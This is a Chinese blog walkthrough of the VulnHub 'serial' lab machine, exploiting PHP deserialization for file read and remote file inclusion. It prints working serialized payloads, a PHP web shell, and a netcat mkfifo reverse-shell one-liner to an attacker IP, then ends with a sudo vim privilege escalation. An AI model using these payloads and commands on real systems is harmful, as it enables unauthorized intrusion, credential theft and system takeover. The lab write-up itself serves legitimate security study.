当前位置: 首页 > news >正文

反序列化漏洞靶机实战-serial

一.安装靶机

下载地址为https://download.vulnhub.com/serial/serial.zip,安装好后开启靶机,这里并不需要我们去登录,直接扫描虚拟机nat模式下c网段的ip,看看哪个的80端口开放,然后直接去访问

二.查找cookie

访问靶机ip后来到这样一个页面,按下f12检查,打开网络监视器

重新刷新一次页面后会出现两个流量,一个访问为200一个为404,我们点击200的流量,然后查看右边的消息头,可以在cookie中找到一串编码

我们将其解码后发现内容为

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}},这是一串字符序列,其中O代表的是object-项目,4则是项目名称字符数量,而项目名称则是User,2代表项目数量,10为第一个项目的字符长度,s为类型-string,以此类推,我们先将其保存起来

三.查询目录

我们利用kali去爆破靶机网站的目录,这里可以看到有一个backup目录可以访问

访问后看到一个bak.zip的压缩文件,点击可以将其下载

四.代码审计

下载解压得到三个文件,里面放着网站的源代码,这里就需要代码审计了,在index.php中我们可以看到user.class.php,它包含了user.class.php文件的代码,然后将cookie中的user的值进行base64编码

而user.name.php文件中包含了log.class.php,还定义了welcome与user两个类,而_construct()与_destruct()两个是序列化中的魔术函数,且有参数name,所以这里有反序列化漏洞

user.name.php文件还调用了log.class.php文件中的handler函数,log.class.php文件中则是定义了一个Log类,同时也有costruct函数,且handler函数对变量还进行了文件包含和输出

经过代码审计后就可以构造出pyload如下,将其放到任意一个php文件中然后访问即可得到序列化经过base64编码后的内容

<?phpclass Log {private $type_log = "/etc/passwd";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:13:"Logtype_log";s:11:"/etc/passwd";}}    //序列化Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==   //base64编码

五.抓包

我们在靶机网站首页开启抓包,然后刷新网页,获取到数据包,将其发送到重放器后,用我们构造的经过序列化和base64编码后的pyload去替换user后的内容然后发送即可得到passwd文件内容

六.获取shell

接下来我们就要获取shell,我们可以利用上面的pyload上传一个一句话木马,然后去连接。首先我们在自己的web根目录下新建一个3.txt文件,内容为<?php system($_GET['cmd']);?>然后再次构造pyload:(其中ip为本机ip)

<?phpclass Log {public $type_log = "http://192.168.3.133/3.txt";
}
class User {public $name;public $wel;
function __construct($name) {$this->name = $name;$this->wel = new Log();
}
}
$us = new User("sk4");
print_r(serialize($us));
?>

将其序列化后进行base64编码:

O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:26:"http://192.168.3.133/3.txt";}}Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6Mzoic2s0IjtzOjM6IndlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MjY6Imh0dHA6Ly8xOTIuMTY4LjMuMTMzLzMudHh0Ijt9fQ==

然后再次用其替换url后面内容发送即可成功获取shell,可以直接添加参数查数据

七.反弹shell

接下来就要反弹shell,将参数替换为如下语句,其中ip为开启监听的虚拟机,可以用虚拟机,只要能连接到靶机就行,7777则是监听的端口

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.154.128+7777+>/tmp/f

发送后即可反弹到shell

其中credentials.txt.bak为敏感文件,cat其后即可看到sk4用户的密码,得到密码后就可以连接靶机的22端口了

八.提权

首先我们输入sudo -l查看当前用户无法执行的命令,发现vim所有用户都可使用,那么我们直接输入sudo vim进入编辑模式,输入!bash即可提权

http://www.lryc.cn/news/412028.html

相关文章:

  • 医疗器械产品没有互联网连接,就不适用于网络安全要求吗?
  • 可视掏耳勺安全吗?独家揭示六大风险弊病!
  • JavaScript 变量声明var、let、const
  • ipvlan: operation not supported 导致的POD不断重启
  • 组蛋白乳酸化和RNA甲基化如何联动?请大数据把这个思路推给科研人
  • 操作文件-Path
  • RAC(Teamcenter )开发,Bom行解包和打包的方法
  • log4j2漏洞练习
  • OpenEuler安装部署教程
  • Canto - hackmyvm
  • 【数据结构进阶】手撕红黑树
  • 【C++从小白到大牛】类和对象
  • Kafka 为什么这么快的七大秘诀,涨知识了
  • 一文解决3D车道线检测:最新单目3D车道线检测综述
  • 稳中向好,今年新招6000人
  • 使用kettle开源工具进行跨库数据同步
  • Golang | Leetcode Golang题解之第307题区域和检索-数组可修改
  • Golang | Leetcode Golang题解之第301题删除无效的括号
  • 【Story】《程序员面试的“八股文”辩论:技术基础与实际能力的博弈》
  • 初步了解泛型
  • 【C#】.net core 6.0 webapi 使用core版本的NPOI的Excel读取数据以及保存数据
  • C++推荐的oj网站
  • springmvc处理http请求的底层逻辑
  • 干货满满,从零到一:编程小白如何在大学成为编程大神?
  • 前端-如何通过docker打包Vue服务成镜像并在本地运行(本地可以通过http://localhost:8080/访问前端服务)
  • 零基础学习【Mybatis】这一篇就够了
  • Shell入门(保姆级教学)
  • 【JDK11和JDK8并行与切换】
  • vue大数据量列表渲染性能优化:虚拟滚动原理
  • 昇思25天学习打卡营第1天|快速入门